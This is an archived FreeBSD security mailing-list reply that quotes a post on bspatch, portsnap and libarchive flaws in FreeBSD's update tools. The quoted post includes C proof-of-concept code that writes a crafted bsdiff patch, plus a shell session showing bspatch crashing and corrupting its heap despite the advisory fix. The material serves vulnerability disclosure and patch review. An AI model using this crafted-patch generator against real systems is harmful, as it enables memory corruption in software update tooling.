From owner-freebsd-security@freebsd.org Fri Jul 29 09:00:23 2016 Return-Path: Delivered-To: freebsd-security@mailman.ysv.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) by mailman.ysv.freebsd.org (Postfix) with ESMTP id A6988BA7602 for ; Fri, 29 Jul 2016 09:00:23 +0000 (UTC) (envelope-from julian@freebsd.org) Received: from vps1.elischer.org (vps1.elischer.org [204.109.63.16]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client CN "vps1.elischer.org", Issuer "CA Cert Signing Authority" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id 784FB1AEA for ; Fri, 29 Jul 2016 09:00:22 +0000 (UTC) (envelope-from julian@freebsd.org) Received: from Julian-MBP3.local (ppp121-45-233-115.lns20.per1.internode.on.net [121.45.233.115]) (authenticated bits=0) by vps1.elischer.org (8.15.2/8.15.2) with ESMTPSA id u6T90HTW080217 (version=TLSv1.2 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO); Fri, 29 Jul 2016 02:00:20 -0700 (PDT) (envelope-from julian@freebsd.org) Subject: Re: freebsd-update and portsnap users still at risk of compromise To: Martin Schroeder , freebsd-security@freebsd.org References: <6bd80e384e443e5de73fb951e973b221@vfemail.net> From: Julian Elischer Message-ID: Date: Fri, 29 Jul 2016 17:00:11 +0800 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:45.0) Gecko/20100101 Thunderbird/45.2.0 MIME-Version: 1.0 In-Reply-To: <6bd80e384e443e5de73fb951e973b221@vfemail.net> Content-Type: text/plain; charset=windows-1252; format=flowed Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-security@freebsd.org X-Mailman-Version: 2.1.22 Precedence: list List-Id: "Security issues \[members-only posting\]" List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 29 Jul 2016 09:00:23 -0000 On 29/07/2016 11:49 AM, Martin Schroeder wrote: > On July 18, John Leyden, security editor at The Register, tweeted a > link > to a libarchive ticket that had been sitting without a response for > almost a week. > not sure if you've been contacted privately, but I believe the answer is "we're working on it" > tweet: https://twitter.com/jleyden/status/755016810865582081 > libarchive ticket: https://github.com/libarchive/libarchive/issues/743 > > The ticket creator quoted an AV researcher who was likely posting to > one > of the many early-alert vendor lists in the age of infosec > balkanization > (IOW, a "courtesy heads-up" to FreeBSD users forking them money): > > [QUOTE] > Our AV researchers have analyzed the following link that was cloud- > submitted as suspect: > > https://gist.github.com/anonymous/e48209b03f1dd9625a992717e7b89c4f > > The document is from an unknown author and describes "non-cryptanalytic > attacks against FreeBSD update components." The affected components are > the portsnap and freebsd-update tools, both directly and indirectly. > > From what we can tell, the text file is part of a larger stash of > documents, all with the same attack-defense style. We have other > documents, dated 2014 and 2015, detailing attacks against the update > systems of multiple Linux distributions and the corresponding defenses > against "the adversary." > > We believe this to be the work of an MITM-capable advanced threat > actor. > > Full details of our findings will be released in the coming weeks. This > is a courtesy heads-up to FreeBSD users. > [/QUOTE] > > Another poster confirmed some of the attacks: > > [QUOTE] > Here via John Leyden's tweet. > > I don't have the time to test the portsnap attacks, but I can confirm > that the libarchive/tar and bspatch attacks work on our 10.x machines, > and I'm happy to test any libarchive/tar fixes. > > Judging by the painstaking amount of work put into the bspatch exploit > especially, I think it's highly unlikely that the creator lacks the > means to deploy it via mitm. Otherwise, I've never seen anything like > this in terms of apparent work/reward. It would be comical if it > weren't > so horrifying. Think of all those locked-down fbsd machines that > have no > external-facing daemons/services and that perform only updates. Our > telecommunications floor alone has several dozen. > > Someone needs to alert the fbsd mailing lists (-current, -security?) > pronto. I'd rather not mail them myself from work. And we should also > get more details on the linux distributions. > [/QUOTE] > > I've been analyzing the document extensively since then. The targets > are > as follows: > > [1] portsnap via portsnap vulnerabilities > [2] portsnap via libarchive & tar anti-sandboxing vulnerabilities > [3] portsnap via bspatch vulnerabilities > [4] freebsd-update via bspatch vulnerabilities > > Nothing has appeared in any official FreeBSD source about [1]. The > libarchive developers have finally confirmed [2] and are presumably > working on fixes. > > A FreeBSD advisory just appeared for [3] & [4] (bspatch), but users > should be aware that running freebsd-update exposes their machines to > the very vulnerability it's correcting (a not insignificant fact that > was omitted from the advisory). Here's why: > > [QUOTE] > * The bspatch(1) utility is executed before SHA256 verification in > both > * freebsd-update(8) and portsnap(8). > [/QUOTE] > > Even worse, the patch in the FreeBSD advisory is insufficient to > prevent > heap corruption. I compared the patch in the FreeBSD advisory with the > "defense" patch in the document, and the former contains only a subset > of the checks in the latter. The document patch is in some ways > cautious > to an insanely paranoid degree, mistrusting the error-checking > stability > of system libraries and defending against compiler quirks that probably > won't exist in compiler optimization intelligence for many years, if > ever, though as a developer of clang-based static analyzers, I did take > an interest in one of the more usual integer-overflow culprits: > > [ADVISORY PATCH - CONTAINS ONLY A SUBSET OF DOCUMENT PATCH] > /* Sanity-check */ > + if ((ctrl[0] < 0) || (ctrl[1] < 0)) > + errx(1,"Corrupt patch\n"); > + > + /* Sanity-check */ > if(newpos+ctrl[0]>newsize) > errx(1,"Corrupt patch\n"); > [/ADVISORY PATCH] > > [DOCUMENT PATCH - THE CORRESPONDING PORTION] > /* Sanity-check */ > - if(newpos+ctrl[0]>newsize) > - errx(1,"Corrupt patch\n"); > + if((ctrl[0]<0) || (ctrl[0]>INT_MAX) || > + (newpos>OFF_MAX-ctrl[0]) || (newpos+ctrl[0]>newsize)) > + errx(1,"Corrupt patch\n"); > > - /* Read diff string */ > + /* Read diff string - 4th arg converted to int */ > lenread = BZ2_bzRead(&dbz2err, dpfbz2, new + newpos, ctrl[0]); > if ((lenread < ctrl[0]) || > ((dbz2err != BZ_OK) && (dbz2err != BZ_STREAM_END))) > errx(1, "Corrupt patch\n"); > [/DOCUMENT PATCH] > > The ctrl[1] checks in the document patch are similar. > > The basic idea is that for > > if(newpos+ctrl[0]>newsize) > > and > > if(newpos+ctrl[1]>newsize) > > it's not enough to block a negative ctrl[]. That will stop the exploit > given, but it won't stop additional exploits. The document patch > defends > against additional exploits, namely those based on newpos+ctrl[] > overflowing via a large ctrl[] to bypass the check. The canonical large > value I use below is 0x7fffffff7fffffff, which is both off_t > nonnegative > and int nonnegative (when truncated in BZ2_bzRead). The document patch > defends against this truncation trickery as well. > > To demonstrate the problem, I wrote the code below. Examine it on a > FreeBSD x64 machine under gdb, valgrind, or whatever, even with the > advisory patch applied. > > [CODE] > #include > #include > #include > #include > #include > > int main(int argc, char **argv) > { > unsigned char oct; > char buff[100000]; > char c[72]= > "\x00\x00\x00\x00\x00\x00\x00\x00" > "\xff\xff\xff\x7f\x00\x00\x00\x00" > "\x00\x00\x00\x00\x00\x00\x00\x00" > "\x00\x00\x00\x00\x00\x00\x00\x00" > "\x02\x00\x00\x00\x00\x00\x00\x00" > "\x00\x00\x00\x00\x00\x00\x00\x00" > "\x00\x00\x00\x00\x00\x00\x00\x00" > "\xff\xff\xff\x7f\xff\xff\xff\x7f" > "\x00\x00\x00\x00\x00\x00\x00\x00"; > char *e=calloc(1,0x8fffffff); > if(!e) return 1; > unsigned l,tmp; > int comp=atoi(argv[1]); > int fd=open(argv[2],O_WRONLY|O_CREAT|O_TRUNC,0666); > write(fd,"BSDIFF40",8); > l=sizeof(buff); > BZ2_bzBuffToBuffCompress(buff,&l,c,sizeof(c),comp,0,0); > tmp=l; > for(int i=0;i<8;i++){oct=tmp&0xff;write(fd,&oct,1);tmp>>=8;} > write(fd,"\x00\x00\x00\x00\x00\x00\x00\x00",8); > write(fd,"\x02\x00\x00\x80\x00\x00\x00\x00",8); > write(fd,buff,l); > l=sizeof(buff); > BZ2_bzBuffToBuffCompress(buff,&l,e,0x8fffffff,comp,0,0); > write(fd,buff,l); > close(fd); > free(e); > return 0; > } > [/CODE] > > [ms@dev4 ~/patch]$ cc -o bp bp.c -lbz2 > [ms@dev4 ~/patch]$ echo 123 > old > [ms@dev4 ~/patch]$ ./bp 1 patch > [ms@dev4 ~/patch]$ bspatch old new patch > Segmentation fault (core dumped) > [ms@dev4 ~/patch]$ ./bp 9 patch > [ms@dev4 ~/patch]$ bspatch old new patch > bspatch: Corrupt patch > > Counterintuitively, the segfault case is (currently) less dangerous > than > the error case. This is because the segfault arises from harmlessly > trashing the heap until an unmapped page is hit (though you never know > what the future - or creativity - brings). But taking a cue from a > comment in the exploit, I bumped up the compression to level 9, which > positioned a lot of libbz2 internal data after the buffer. This data > gets overwritten and could very likely be finessed to dangerous effect. > The error message is simply because after pulling out my hair to figure > out bspatch, I had no desire to follow the author down the rabbit hole > of bzip2/jemalloc/libc internals, which shall remain for me black > magic. > > Martin Schroeder > > ------------------------------------------------- > > ONLY AT VFEmail! - Use our Metadata Mitigator to keep your email out > of the NSA's hands! > $24.95 ONETIME Lifetime accounts with Privacy Features! 15GB disk! > No bandwidth quotas! > Commercial and Bulk Mail Options! > _______________________________________________ > freebsd-security@freebsd.org mailing list > https://lists.freebsd.org/mailman/listinfo/freebsd-security > To unsubscribe, send any mail to > "freebsd-security-unsubscribe@freebsd.org" >